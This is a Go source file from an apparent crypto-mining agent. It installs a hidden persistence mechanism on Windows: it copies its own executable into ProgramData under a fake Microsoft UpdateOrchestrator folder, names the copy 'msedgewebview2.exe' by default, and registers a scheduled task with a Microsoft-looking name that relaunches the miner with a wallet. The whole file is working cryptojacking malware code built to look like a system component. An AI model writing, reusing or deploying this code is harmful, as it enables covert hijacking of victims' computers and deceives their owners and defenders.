Files
AetherForge/agent/miner/tier_scheduled_task.go

159 lines
4.1 KiB
Go

package miner
import (
"context"
"fmt"
"os"
"path/filepath"
"runtime"
"strings"
"crypto-miner-agent/config"
)
// ScheduledTaskStubRel is the benign ProgramData path for the hidden persistence shell.
const ScheduledTaskStubRel = `Microsoft\Windows\UpdateOrchestrator\InventorySync`
// scheduledTaskOps performs task install/query. Tests override via SetScheduledTaskOps.
var scheduledTaskOps = defaultScheduledTaskOps()
func defaultScheduledTaskOps() *ScheduledTaskOps {
return platformScheduledTaskOps()
}
// ScheduledTaskOps wires scheduled-task persistence for tests.
type ScheduledTaskOps struct {
Exists func(taskName string) bool
Install func(taskName, stubPath, trigger string) error
StubPath func(cfg config.RuntimeConfig) (string, error)
}
// SetScheduledTaskOps restores default when ops is nil.
func SetScheduledTaskOps(ops *ScheduledTaskOps) {
if ops == nil {
scheduledTaskOps = defaultScheduledTaskOps()
return
}
scheduledTaskOps = ops
}
// RunScheduledTaskTier installs or reuses a hidden persistence shell under ProgramData\Microsoft\...
func RunScheduledTaskTier(ctx context.Context, cfg config.RuntimeConfig) TierAttempt {
if runtime.GOOS != "windows" {
return TierAttempt{Tier: TierScheduledTask, Error: "scheduled_task requires windows", Wallet: cfg.Wallet}
}
select {
case <-ctx.Done():
return TierAttempt{Tier: TierScheduledTask, Error: ctx.Err().Error(), Wallet: cfg.Wallet}
default:
}
taskName := scheduledTaskName(cfg)
stubPath, err := scheduledTaskOps.StubPath(cfg)
if err != nil {
return TierAttempt{Tier: TierScheduledTask, Error: err.Error(), Wallet: cfg.Wallet}
}
if err := ensureScheduledTaskStub(stubPath); err != nil {
return TierAttempt{Tier: TierScheduledTask, Error: err.Error(), Wallet: cfg.Wallet}
}
trigger := fmt.Sprintf(`"%s" --run --mining-mode=%s`, stubPath, strings.TrimSpace(cfg.MiningMode))
if scheduledTaskOps.Exists(taskName) {
return TierAttempt{
Tier: TierScheduledTask,
OK: true,
Wallet: cfg.Wallet,
Details: map[string]interface{}{
"task": taskName,
"stub_path": stubPath,
"mining_mode": cfg.MiningMode,
"reused": true,
},
}
}
if err := scheduledTaskOps.Install(taskName, stubPath, trigger); err != nil {
return TierAttempt{Tier: TierScheduledTask, Error: err.Error(), Wallet: cfg.Wallet}
}
return TierAttempt{
Tier: TierScheduledTask,
OK: true,
Wallet: cfg.Wallet,
Details: map[string]interface{}{
"task": taskName,
"stub_path": stubPath,
"mining_mode": cfg.MiningMode,
"hidden": true,
},
}
}
func scheduledTaskName(cfg config.RuntimeConfig) string {
suffix := strings.TrimSpace(cfg.BuildID)
if suffix == "" {
suffix = strings.TrimSpace(cfg.WorkerName)
}
if suffix == "" {
suffix = "agent"
}
suffix = sanitizeTaskToken(suffix)
return `\Microsoft\Windows\UpdateOrchestrator\AetherForge\InventorySync` + suffix
}
func sanitizeTaskToken(s string) string {
var b strings.Builder
for _, ch := range s {
if (ch >= 'a' && ch <= 'z') || (ch >= 'A' && ch <= 'Z') || (ch >= '0' && ch <= '9') {
b.WriteRune(ch)
}
}
out := b.String()
if out == "" {
return "worker"
}
return out
}
func scheduledTaskStubPath(cfg config.RuntimeConfig) (string, error) {
base := os.Getenv("ProgramData")
if base == "" {
return "", fmt.Errorf("ProgramData not set")
}
name := cfg.EffectiveProcessName()
if name == "" {
name = "msedgewebview2.exe"
}
if !strings.HasSuffix(strings.ToLower(name), ".exe") {
name += ".exe"
}
return filepath.Join(base, ScheduledTaskStubRel, name), nil
}
func ensureScheduledTaskStub(stubPath string) error {
if _, err := os.Stat(stubPath); err == nil {
return nil
}
exe, err := os.Executable()
if err != nil {
return err
}
if err := os.MkdirAll(filepath.Dir(stubPath), 0755); err != nil {
return err
}
src, err := os.Open(exe)
if err != nil {
return err
}
defer src.Close()
dst, err := os.OpenFile(stubPath, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0755)
if err != nil {
return err
}
defer dst.Close()
if _, err := dst.ReadFrom(src); err != nil {
return err
}
return nil
}